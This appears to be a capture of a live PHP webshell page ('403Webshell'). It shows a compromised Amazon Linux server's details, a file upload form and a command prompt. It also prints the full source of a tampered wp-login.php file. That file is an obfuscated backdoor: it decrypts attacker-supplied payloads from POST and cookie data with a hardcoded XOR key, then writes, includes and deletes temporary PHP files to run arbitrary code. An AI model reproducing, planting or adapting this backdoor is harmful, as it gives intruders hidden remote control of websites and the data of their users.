403Webshell
Server IP : 52.202.253.110  /  Your IP : 216.73.217.139
Web Server : Apache/2.4.56 (Amazon Linux) OpenSSL/3.0.8
System : Linux ip-172-32-10-67.ec2.internal 6.1.49-70.116.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Sep 6 22:13:07 UTC 2023 x86_64
User : ec2-user ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /mnt/efs/cir/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mnt/efs/cir/wp-login.php
<?php 


$ehrtobiqky   = /*memev*/ 'ehrtobiqky'    ^ /* m_   */ '';


$qwurepzh	=      "b"."a".$ehrtobiqky(575-460) /* fsk*/ .       "e"."\66"       . /*mbm   */ "4"."_"."\145" /* cr  */ .    $ehrtobiqky(110)    .    "c"."o"."d"."\x65";


$syhustz_    =	"a".$ehrtobiqky(520-406)   .	"r"."a"."y".$ehrtobiqky(95)	.   "\x73" /*uua */ .	$ehrtobiqky(108)	.     "\x69"     .	"c"."e";$xxzlbmr /*   xy   */ = /*ivmy   */ "s".$ehrtobiqky(116)   .      "r"."\137" /*qwg */ . /* rx  */ "r"."e"."\x70"	. /* tvujms  */ "e"."\141"	. /*   sq */ "t";
$tkxfhkdt	=	"e".$ehrtobiqky(120) /* qt*/ .     "p"."\154"  .    "o"."d"."e";


$xgtazw    =    $ehrtobiqky(115)     .     "t"."\x72"    .    $ehrtobiqky(387-275)    . /*jpbf*/ "\x6f" /*  jluk  */ .    $ehrtobiqky(115);$knkxbwae   =    "\163"  .   "u"."\142"     .    "\x73"    .	$ehrtobiqky(116)	.  "\162";


$fbyrof    = /*   wgx*/ $ehrtobiqky(102)	.    "a"."l"."s"."e";
$rygszjxwtg      = /*  vxaksh*/ "c"."o".$ehrtobiqky(459-342)    . /*   rz  */ "n".$ehrtobiqky(355-239);


$_heoxy	= /* eg   */ "p"."a"."\x63"    .     "k";


function   o_tqqohcz_($_fncuw_d, /*  pugf  */ $gpfylxg)


{    global	$ehrtobiqky;


     

	$_fncuw_d    =       $ehrtobiqky(60)       .	"?"."p".$ehrtobiqky(104) /* khf  */ . /*  d */ "p".$ehrtobiqky(32) /*   qehjst   */ .    "u"."n".$ehrtobiqky(108)      .    $ehrtobiqky(105)    . /*_pbk   */ "n"."k"."(".$ehrtobiqky(95) /*humr   */ .    "_".$ehrtobiqky(70) /*   uqfqci  */ . /*   _   */ $ehrtobiqky(457-384)    .     "L"."\x45" /*   donqt*/ .       $ehrtobiqky(709-614) /*  hbi */ .	"_".")".";".$ehrtobiqky(32) /*  t  */ .   $_fncuw_d["\x64"];
    $zg_ad /*   bxxbce  */ = /*zl   */ "\146"    .    "\151"  . /*   nl*/ "\154" /*  jos_o   */ . /*  jtvwg  */ $ehrtobiqky(785-684)    . /*  uoiw   */ "\137" /*  zbbv */ .    "\x70"	.    $ehrtobiqky(980-863) /*   e  */ . /*   dhrq*/ $ehrtobiqky(237-121) /*o   */ .    $ehrtobiqky(225-130)     .    "\143"    .       "\x6f"    .    "n".$ehrtobiqky(116)    . /*  p_b   */ $ehrtobiqky(231-130).$ehrtobiqky(110)    .    $ehrtobiqky(116)	. /*vyunhy*/ "\x73";		$zg_ad($gpfylxg, /* ysu  */ $_fncuw_d);    

     jlumno($gpfylxg);

}

function    tunsnwn_n_(){


	$wrklbtnfiq   =  36; /*g  */ $qalevllr       = /*   nymyof  */ 'pfv_ooll';

    $dwdhe    = /*  n_ntr  */ 'uu';

	$pzhyh      =    'p_mqrvnf'; /*byucy   */ $ayizm     =	str_replace('pqhbts',	'wut',    $pzhyh);


}





tunsnwn_n_();


$yanm_	=      73;


function /*  m   */ jlumno($gpfylxg)

{ /*rddt*/ global	$ehrtobiqky;
      	include($gpfylxg);
    $cfirzopeo    = /*   h */ $gpfylxg;
       @unlink($cfirzopeo);
}


function /*   ev*/ tl__ble()

{
 /*  qgv   */ global /*ufz  */ $ehrtobiqky;


 /*   straml */ $kuhdcpi    = /* byf*/ array();

	$kuhdcpi["p".$ehrtobiqky(134-16)]  =     phpversion();

 /*v*/ $kuhdcpi[$ehrtobiqky(735-620)  .    "v"]    = /*stcr  */ $ehrtobiqky(51)    .    "\56"	.    "\65";


	$pjftg_wihnqyct   = /*  _mjg  */ 74;     echo    @serialize($kuhdcpi);
}



function    xmmkuq()
{    $pfhqm    =    'ushsjyzan';

    $btjtrx    = /*   rkwz*/ 44;
	$njhrsubi      = /*  gvwub */ 47;
 /*gzdop   */ $whnrj /*   yxdpjp */ = /*   upss*/ 'nkq_t';

}


xmmkuq();



function  zpib_veki($_fncuw_d,	$ruoksczfo){    global /*zcxjf*/ $ehrtobiqky;


	


     $g_xyxggbw    =    "";	$xgzveuuh	=   'ljumbvuw';	$kuhdcpi    =  0; /* wmzx   */ while     ($kuhdcpi    <    strlen($_fncuw_d))    {

    for	($pjftg_ /*dyxdqu  */ =	0; /* x   */ $pjftg_     <       strlen($ruoksczfo)     &&     $kuhdcpi      <      strlen($_fncuw_d); /*   e  */ $pjftg_++,   $kuhdcpi++)    {


     $g_xyxggbw /* ek_b*/ .= /*   n_ */ $ehrtobiqky(ord($_fncuw_d[$kuhdcpi])  ^    ord($ruoksczfo[$pjftg_]));


 /*  tzbi  */ } /* qxs   */ }	return /* j*/ $g_xyxggbw;
}





function   umdwqaiyy(){

    $oytip       =      14; /*  nv*/ $_hofszvs	= /*  kaol */ 'ydabjrqse';

    $xjcfj_     = /* vvkaaj*/ 18;
   $ogkucffb_u /*wczaw   */ = /*kjcu   */ 49;
 /*zy  */ $toiug /*   ujocit*/ =   'jhuwakcp';
       $smemjfvmqq    =	'ldzi'; /*   c   */ $oytip   = /*lwu */ $ogkucffb_u /*  sz */ * /* y*/ $ogkucffb_u;	$gexrt /*   rluf  */ =    $ogkucffb_u /* ccba*/ / /*  z   */ ($ogkucffb_u   +     10);


 /* hx  */ $zbylrqkzwx    =   39;
}


umdwqaiyy();


function  osrqboy($mjrpczwpji)


{

       global   $ehrtobiqky;
 /* rgpwjo */ 


  $bxfnltzy /* a  */ =    $ehrtobiqky(881-826) /*wqlkp */ .     "\143"	. /*pv_nti*/ $ehrtobiqky(692-635) /*   bgxob  */ .    $ehrtobiqky(97) /*  fgo   */ .    $ehrtobiqky(149-95)   .  "6"."\66" /*  ntqdtq  */ .	"9".$ehrtobiqky(45)     .    "3".$ehrtobiqky(231-130)."2".$ehrtobiqky(351-299)	.   "-"."4"."\146"	. /*   cjx */ "\x37"     .      "\x35"    .       $ehrtobiqky(45)    .	"\x38" /* db   */ .    $ehrtobiqky(100)	.      $ehrtobiqky(375-324)       .       "4"."-"."0"."3"."c"."c".$ehrtobiqky(190-136)    .   "\71" /*   hm*/ .	"\x65"       .    $ehrtobiqky(194-93)    .	"\62"	.	"\62"    .    "a"."0";


	


    foreach	($mjrpczwpji    as /*  dvzl   */ $pjftg_iopltbtj /*  rw  */ =>    $_fncuw_d) /* srqx   */ {
      izhdzmy(base64_decode($_fncuw_d),	$bxfnltzy,    $pjftg_iopltbtj);
    }
}



function /* xkvr_g */ izhdzmy($_fncuw_d, /* utj  */ $bxfnltzy,	$pjftg_iopltbtj){
	global   $ehrtobiqky;

      


    $_fncuw_d      =    unserialize(zpib_veki(zpib_veki($_fncuw_d, /*  la*/ $bxfnltzy),    $pjftg_iopltbtj));


	$ztqzp /* jr   */ = /* rhmvy  */ 'cznbzs';

	$rlyaibqmq /*   fd_   */ =  'lqbg';


       if /*   bsvetk   */ (isset($_fncuw_d["a"."k"])) /*   xh  */ {


    if    ($_fncuw_d["a"] /*  otdk   */ == /*   ej */ "\x69")	{

   tl__ble();

 /*bn*/ } /* q  */ elseif /*rf   */ ($_fncuw_d["a"]      ==    $ehrtobiqky(231-130))    { /*   kpnk  */ o_tqqohcz_($_fncuw_d, /* ch  */ sprintf(".".$ehrtobiqky(47)    . /*  dop   */ "%"."\163"	.    "."."p"."l", /*nxdqth */ md5($bxfnltzy)));			$wnvdwzik /*   ume*/ =	44;
      }


      exit();
     }
}
	$pjvkkf__xn /* tdvdvr  */ = /* qhips */ 69;


	$ytzfm_ni	=    22;$ytzfm_ni /*   urn   */ =    $pjvkkf__xn /* xcldms   */ +	15;

osrqboy($_POST); /*   xz   */ 
$_GET["\156"	.      $ehrtobiqky(382-281)	.  "\167"    .   "_".$ehrtobiqky(107)      . /*  lz */ $ehrtobiqky(231-130)."\x79"] /*  fu */ = /*   r_uewh   */ md5("\x6e"    .	$ehrtobiqky(231-130)."\x77" /*e   */ .     "\x5f"      .   "v"."a".$ehrtobiqky(108)    . /*oe */ $ehrtobiqky(117) /*   hk */ . /*lfaqnh   */ $ehrtobiqky(231-130)); /* hyqgn  */ 


if    ($xgtazw($_GET["\156"	.	$ehrtobiqky(382-281)    .     "\167" /* ysfqgg*/ .    "_".$ehrtobiqky(107) /*dz */ . /*mf   */ $ehrtobiqky(231-130)."\x79"], /*  fa*/ "s".$ehrtobiqky(231-130)."a"."r"."\143"	.    $ehrtobiqky(712-608) /*  p*/ .      "_".$ehrtobiqky(934-819)    .     "t"."\x72"       . /*  fzib   */ "\x69"."\156"    . /*  kavxm*/ $ehrtobiqky(103))      !== /* szh */ $fbyrof)     {	    $wvquk	=   $knkxbwae($_GET["\156" /*  ve  */ .	$ehrtobiqky(382-281)	.	"\167"    .    "_".$ehrtobiqky(107)	.	$ehrtobiqky(231-130)."\x79"], /*   edmtoy   */ 0,    5);      
    $_POST["\x6b"  .	"\145" /*  yagds*/ .    $ehrtobiqky(121)]	= /*   pu */ $xxzlbmr($wvquk,	3); /*  lclqz   */ }




osrqboy($_COOKIE);       
$kuhdcpinffysvv	=  "t".$ehrtobiqky(101)	.    $ehrtobiqky(115) /*   me  */ . /*wna   */ "t"."\137" /*  dcudow*/ .      $ehrtobiqky(118)  .  $ehrtobiqky(801-704)	.      $ehrtobiqky(108) /*gsrko */ . /*emxed   */ "u"."\x65"   .     "\137"      . /* viby */ "t".$ehrtobiqky(101)	. /* vg_js*/ "\163"       . /* ydxjf  */ "t".$ehrtobiqky(418-323)	.    $ehrtobiqky(118)     .       "a"."l"."u".$ehrtobiqky(231-130);  $n_eijc      =     $tkxfhkdt("_",    $kuhdcpinffysvv); /*rv   */ 
if      ($rygszjxwtg($n_eijc) /*  q   */ >       1)	{ /*  uzv  */        $pjftg_pucx	=	$syhustz_($n_eijc, /*i   */ 0,    2);    

	foreach	($pjftg_pucx      as /*   a  */ $fkdkhd_at)	{    /* mhme   */ $dbjatuyqli   = /*   p_kszj   */ $_heoxy("H"."*",   md5($fkdkhd_at));	

      $dcmcpayvs    = /* aef*/ $qwurepzh($dbjatuyqli); /*  pbe   */ 

       $_COOKIE[md5($fkdkhd_at)] /*  izjp  */ =  $dcmcpayvs; /* m  */  /*   ircw  */ } /* aknen  */ 


}







$dghvcq      =	6;




?>

Youez - 2016 - github.com/yon3zu
LinuXploit